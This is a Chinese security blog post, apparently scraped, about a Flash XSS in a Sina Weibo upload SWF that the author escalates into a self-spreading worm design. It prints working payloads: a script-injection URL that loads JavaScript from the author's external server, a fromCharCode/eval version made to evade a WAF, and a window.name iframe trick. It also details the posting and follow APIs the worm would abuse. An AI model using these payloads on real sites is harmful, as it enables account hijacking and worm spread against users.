从新浪微博一处Flash XSS到XSS Worm

网站建设评论97

最近一直在研究一些flash,希望能发现点什么。

偶然发现这样一个swf:http://vgirl.weibo.com/swf/BlogUp.swf (已修复),一般上传swf、播放器这种地方容易出现xss,这个BlogUp.swf就是上传的flash。

反编译看看,其中有个函数:

private function init(Number:flash.events::Event = null){    // debugfile: F:/flash/blogUp_Vgirl/src;;xblogUploadImage.as    stage.scaleMode = StageScaleMode.NO_SCALE;    this.bIsUploading = false;    this.tList = new Array();    removeEventListener(Event.ADDED_TO_STAGE, this.init);    var loc0:* = new Sprite();    lineStyle();    beginFill(0, 0);    drawRect(0, 0, 1000, 1000);    loc0.buttonMode = true;    loc0.addEventListener(MouseEvent.CLICK, this.onClicked);    this.addChild(loc0);    var loc2:* = 0;    loc0.y = 0;    loc0.x = undefined;    this.jsonselectfiles = stage.loaderInfo.parameters[\"onselectfiles\"] + \"\";    this.jsonsinglecomplete = stage.loaderInfo.parameters[\"onsinglecomplete\"] + \"\";    this.jsonallcomplete = stage.loaderInfo.parameters[\"onallcomplete\"] + \"\";    this.jsonerror = stage.loaderInfo.parameters[\"onerror\"] + \"\";    this.onUploadStart = stage.loaderInfo.parameters[\"onUploadStart\"] + \"\";    var loc1:* = stage.loaderInfo.parameters[\"onflashready\"] + \"\";    ExternalInterface.addCallback(\"setup\", this.setup);    ExternalInterface.addCallback(\"cancel\", this.closeUploader);    ExternalInterface.addCallback(\"setMaxSize\", this.setMaxSize);    ExternalInterface.call(loc1);    return;}

ExternalInterface.call(loc1);这句话很明显存在一个XSS,loc1是之前获取的GET参数stage.loaderInfo.parameters[“onflashready”]。

我们试试:

从新浪微博一处Flash XSS到XSS Worm

弹了。其实前面几个参数也是存在XSS的,但这个xss最明显,我就不说前几个了。

如果ExternalInterface.call函数的第一个参数可控的话,我们最好把POC写成这 样:http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function() {alert(1)}) ,因为他和后面的参数组成了一个执行的代码:

(function(){alert(1)})(param1, param2, ...)

因为我们这里这个漏洞没参数,所以最终执行的javascript实际上是(function(){alert(1)})(),我们将alert(1)换成自己的payload就能干想干的事了。

然后我想提交,来到sina src看到个公告:

从新浪微博一处Flash XSS到XSS Worm

我擦嘞!XSS漏洞都降级了,原因只是因为cookie加了httponly?

我掐指一算,如果就这样交的话,顶多拿2个金币啊!!

挖了半天就换这点金币,不行,那么我们想想怎么让我的XSS发挥点作用吧,否则憋屈得很。来个蠕虫吧。

我关注到vgirl.weibo.com这个站首页是个评分的flash,大概是给MM们评分并分享的。

从新浪微博一处Flash XSS到XSS Worm

有些妹纸还是挺不错的,我喜欢。来分析一下这个flash吧:

从新浪微博一处Flash XSS到XSS Worm

这里有5个API很闪眼睛。分析了一下,实际上第一个是获得妹纸列表的,第二个是给妹纸打分的,第三个是分享到微博的,第四个是获得具体妹纸信息的,第五个是关注这个妹纸的。

很明显,第三个和第五个是我想要的(为毛不是第一个和第四个?)。我可以利用这俩API和之前的XSS,来让浏览的用户发表任意微博并关注我,造成一个微博蠕虫。

那么继续分析一下API怎么使用(实际上比看flash代码更简单的方式是抓包,抓包大家都会我就不演示了):

private function atShe(arg0:*){    var loc0:* = new URLVariables();    loc0.text = arg0.content;    loc0.uid = arg0.oid;    loc0.img = arg0.picurl;    var loc1:* = new URLRequest(this.atApi);    loc1.method = URLRequestMethod.POST;    loc1.data = new URLVariables();    var loc2:* = new URLLoader();    load(loc1);    return;}

这是发表微博的函数,实际上就是发送了一个POST数据包,text是要发表的内容,img是妹纸图片,uid是妹纸的用户ID。

实际上,text可以写任意文字,img可以是任意图片(属于新浪sinaimg.cn的图片,随便找个图片上传接口传一个即可),uid可以不用填写。

从新浪微博一处Flash XSS到XSS Worm

如上图,这样一个数据包即可发表一个微博:

从新浪微博一处Flash XSS到XSS Worm

好,有了这个接口,我们就可以来制作一个蠕虫了。

首先写一个payload,我用了parsec团队的兔子君写的一个javascript辅助工具love.js(https://github.com/quininer/hisoka/blob/master/doc/LoveJS.md && https://quininer.github.io/tests/love.js)来进行数据包的发送。

然后传到自己的服务器上:

http://mhz.pw/game/vgirl/poc.js 

首先要清楚这一点,新浪整体对CSRF的防御基本是靠Referer来进行的,所以不管在哪发微博,都会检查referer是否来自合法的域。所 以我们这个脚本运行在其他地方是不管用的,但因为我们之前找到了一个flash xss,这个flash是处于新浪vgirl域下的,合法合理。

所以,我们现在的工作就是让这个flash加载我的js文件。

最早想到这样一个payload:

http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){document.body.appendChild(document.createElement(\"script\")).src=\"http://mhz.pw/game/vgirl/poc.js\"})

不过运行你会发现,referer是这个的话微博是发送不成功的,我目测是被WAF拦截了还是怎样。

测试了一下,拦截的是appendChild,这个关键字。

我想那简单啊,把payload换成

eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,109,104,122,46,112,119,47,103,97,109,101,47,118,103,105,114,108,47,118,103,105,114,108,46,106,115,34))

就没关键字了。结果执行发现,URL太长了,flash加载不上。

再想想,如何把URL变短,还要没有关键字?当然是用window.name咯:

<iframe src=\"http://www.91ri.org/wp-content/uploads/auto_save_image/2015/05/160206JTm.jpg\" name=\"document.body.appendChild(document.createElement(\'script\')).src=\'http://mhz.pw/game/vgirl/poc.js\'\" id=\"vg\">

把EXP放在iframe的name里,然后实际的payload就是setTimeout(window.name,0),执行了window.name等于执行了我的EXP。

将代码美化一下,传到服务器上。

访问即可发布类似这样的微博:

从新浪微博一处Flash XSS到XSS Worm

如果换成吸引人的文字和图片,这样,我的粉丝看了以后,多半是会点进去看看。一旦访问这个链接,也会发表这样一个微博。

这样一传十十传百。

形成一个XSS蠕虫,危害很大。同样,我还可以发送一个关注我的数据包,在蠕动的同时,也能无限涨粉。

碍于法律的限制,我就不做测试了。关于新浪微博蠕虫,我曾经是有测试过的:http://wooyun.org/bugs/wooyun-2010-065761,在这里可以看到效果图,和厂商回复。

测试有风险,蠕动需谨慎啊……

【via@离别歌】

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/43652673

 
优化建站系统 网站建设

优化建站系统

对于很多资金不够充足的公司或者个人来说,现成的建站系统是十分经济快速的途径。但是现成的建站系统并不能完全满足所有公司的需要,而且很多也不完全利于网站的优化,所以会对建站系统进行优化。建站系统通常包括网...
企业为什么要定制型网站建设? 网站建设

企业为什么要定制型网站建设?

企业为什么要定制型网站建设?经常会听到一些客户抱怨说”为什么你公司定制一个网站辣么贵?我之前咨询的某某公司只需要一千多元就搞定了,那我还不如下载个模板建个网站来得划算……“当然这种想法也很正常,但是我...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: